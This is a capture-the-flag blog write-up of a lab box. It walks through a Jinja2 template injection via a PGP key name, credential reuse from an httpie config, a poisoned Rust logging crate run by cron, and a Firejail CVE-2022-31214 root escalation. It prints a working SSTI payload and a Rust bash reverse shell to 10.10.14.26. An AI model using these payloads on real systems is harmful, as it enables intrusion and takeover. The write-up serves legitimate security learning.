This was a medium box that featured a ssti and had a rust library that we could change to run malicious code, and then it was a setuid program that has a know cve against it. This is my first blog post so there might be some mistakes.
Initial foothold
On the nmap scan we see that 3 ports are pen and that we are given a host name that we can add to /etc/hosts
Upon visiting the website we see that it's something to do a secret spy agency and that it is using the flask framework because of the powered by flask at the bottom of the page. Clicking on the contact page we see that we can send pgp messages also we can try a guide on pgp. On the guide we can verify a signature of a message, so we can generate a key and sign the message with that key and see what the page displays to us. We can use gpg for this which is the GNU privacy guard and is an open source pgp implementation.
We first use the --gen-key flag to generate the key with the email of a@a.com and a Real name of whatever.We can then export the key and the -a flag means that the key with be exported in ascii format so that we can copy into the key box when versing the signature. We then create the message that we want to sign this only worked for me if the file was a txt file. Then we can use the clear-sign so that signature is readable, and again we can copy it into the signed message box.
We see that the name we entered is rendered into the result and because the website is powered by flask the tempalting engine that would be in use would be Jinja2 we can test this by creating another key with the name of the key being a ssti. First I will delete the key we made using the -k flag to list the key and then using the --delete-secret-keys with the key id to delete the secret key and then using the --delete-key to fully delete the key. And then we can use the --gen-key again but change the real name to be a jinja2 payload can get this from payload of all the things. And then sign the message again with this new key and go to verify it.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "base64 bash reverse shell" | base64 -d | bash').read() }}
Shell as silentobserver
When we go to verify this key the page hangs, and we get a reverse shell. On the shell we seem to be a restricted shell as there is none of the usually tools and our terminal name is dumb
In our users home directory there is a directory called .config and upon going there we see firejail which is a sandboxing program but there is nothing in that directory we also see httpie which is a command line http client. Since it is a http command line client it may store passwords used on websites and things like that we can check for password reuse. In the directory there is an admin.json file with a password and username in it and if we look at /etc/passwd that user is on the box. So we can try to ssh in as that user and get a better shell then the current one, and we can ssh as that user.
Shell as Atlas (unrestricted)
Since we know the password we can try sudo -l, but we can't run as sudo also this user has .cargo directory in its home which points to rust being used.This is because cargo is build and package manager for rust and there should be a caro.toml somewhere that cargo is using to build the rust applications.We can also check for cronjobs by putting pspy on the box and see what is being run and who as.We see that the flask application is being run in firefail so that explains why are shell was restricted when we get the reverse shell. We also see a cron job for cargo and is running as atlas, and we see the directory, so we can go check that directory and see what the cargo.toml that the cargo uses looks like to build the application.
We see the cargo.toml is using a logger library that is custom and is using the extern crate logger;
in the main.rs code to include the dependency which is in an external crate to the one it was declared in.
We see that in the main source code this use std::process::Command;
is being used to execute commands so if we add that to the library we should be able to execute commands when the log library is called in the main.rs code. So we do the
command::new("bash").arg("-c").arg("bash -i >& /dev/tcp/10.10.14.26/1234 0>&1").output();
And then when the cron jobs execute and builds the new library and uses it we get a reverse shell as atlas in a normal shell.
Shell as root
If we look at suid bits now we see the firejail suid bit and beacuse we are part of the jailer group we can now execute the firejail suid bit program. But before we exploit that i am going to add a ssh key to .ssh directory in the home directory for atlas so we can better shell.
We see that the firejail version is 0.9.68 and there is this exploit for this version https://github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/blob/main/handbooks/cve.md#CVE-2022-31214-Firejail-LPE . We Can run this and get root on the box.
And that is the box and we can now read root.txt.
Beyond Root
The rust script was being used to something in the database as there is a database url in that and a password but that password doesn't lead to anything. I don't really know rust, so I don't really know what's going on, but it seems to be taking submissions from the website and then putting them into the database. If we connect to the database we see that there are some encrypted messages stored in there from submissions and some other messages that don't lead to anything.
The main source code is executing code and then passing the username from that command to the log library which then takes it logs to access.log file which runs the username and what the action it was taken.
We see that in the app.py and the function that is responsible for displaying the message that it is rendering a template with the msg variable. If the key is verified then the output of verifying the key is put into the message and we can control the name in that message and then the study.html template uses that variable passed to it so we can control what does a part of what goes into {{ }} and there is no filter, so we can get command execution.